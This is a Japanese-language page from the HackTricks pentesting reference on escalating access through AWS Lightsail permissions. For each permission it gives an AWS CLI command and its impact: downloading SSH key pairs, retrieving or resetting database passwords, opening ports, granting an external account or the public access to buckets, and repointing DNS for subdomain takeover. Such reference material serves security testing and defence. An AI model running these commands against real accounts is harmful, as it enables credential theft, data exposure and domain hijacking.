AWS - Lightsail Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Lightsail

Lightsail の詳細については次を参照してください:

AWS - Lightsail Enum

Warning

Lightsail は ユーザーに属する IAM roles を使用せず、AWS managed account に紐づくため、このサービスを利用して privesc を行うことはできません。しかし、機密データ(code、API keys、database info)がこのサービス内で見つかる可能性があります。

lightsail:DownloadDefaultKeyPair

この権限により、インスタンスにアクセスするための SSH keys を取得できます:

aws lightsail download-default-key-pair

Potential Impact: インスタンス内の機密情報を見つける。

lightsail:GetInstanceAccessDetails

この権限により、インスタンスへアクセスするためのSSHキーを生成できます:

aws lightsail get-instance-access-details --instance-name <instance_name>

潜在的な影響: インスタンス内の機密情報を見つける。

lightsail:CreateBucketAccessKey

この権限により、bucket にアクセスするためのキーを取得できます:

aws lightsail create-bucket-access-key --bucket-name <name>

潜在的影響: bucket 内の機密情報を見つける。

lightsail:GetRelationalDatabaseMasterUserPassword

この権限があれば、データベースにアクセスするための認証情報を取得できます:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

潜在的な影響: データベース内の機密情報を見つけることができる。

lightsail:UpdateRelationalDatabase

この権限により、データベースにアクセスするためのパスワードを変更できます:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

データベースが公開されていない場合は、次の権限で公開にすることもできます。

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potential Impact: データベース内の機密情報を見つけることができる。

lightsail:OpenInstancePublicPorts

この権限によりインターネットに対してポートを開放できます。

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potential Impact: 機密性の高いポートにアクセス可能

lightsail:PutInstancePublicPorts

この権限により、ポートをインターネットに公開できます。呼び出し時に、指定されていない既存のポートはすべて閉じられます。

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

潜在的な影響: 機密性の高い ports へのアクセス

lightsail:SetResourceAccessForBucket

この permissions により、instances に追加の credentials なしで bucket へのアクセスを付与できます。

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

潜在的影響: 機密情報を含むバケットへの新たなアクセスの可能性。

lightsail:UpdateBucket

この権限があれば、攻撃者は自分のAWSアカウントに対してバケットの読み取りアクセスを付与したり、バケットを全員に公開したりすることができます:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

潜在的影響: 機密情報を含むバケットへの新たなアクセスが発生する可能性。

lightsail:UpdateContainerService

この権限があれば、攻撃者はコンテナサービスからプライベート ECR へのアクセスを付与できる可能性がある。

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potential Impact: プライベート ECR から機密情報を取得する

lightsail:CreateDomainEntry

この権限を持つ攻撃者はサブドメインを作成して自身のIPアドレスに向ける(subdomain takeover)、あるいはSPFレコードを作成してドメインからのメールをなりすますことができる、さらにはメインドメインを自身のIPアドレスに設定することさえ可能です。

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在的な影響: ドメインの乗っ取り

lightsail:UpdateDomainEntry

この権限を持つ攻撃者は、subdomain を作成して自分の IP アドレスを指すように設定(subdomain takeover)、または SPF レコードを作成してドメインからのメールを spoof できるようにしたり、メインドメイン自体を自分の IP アドレスに設定することさえ可能です。

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在的影響: ドメインの乗っ取り

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする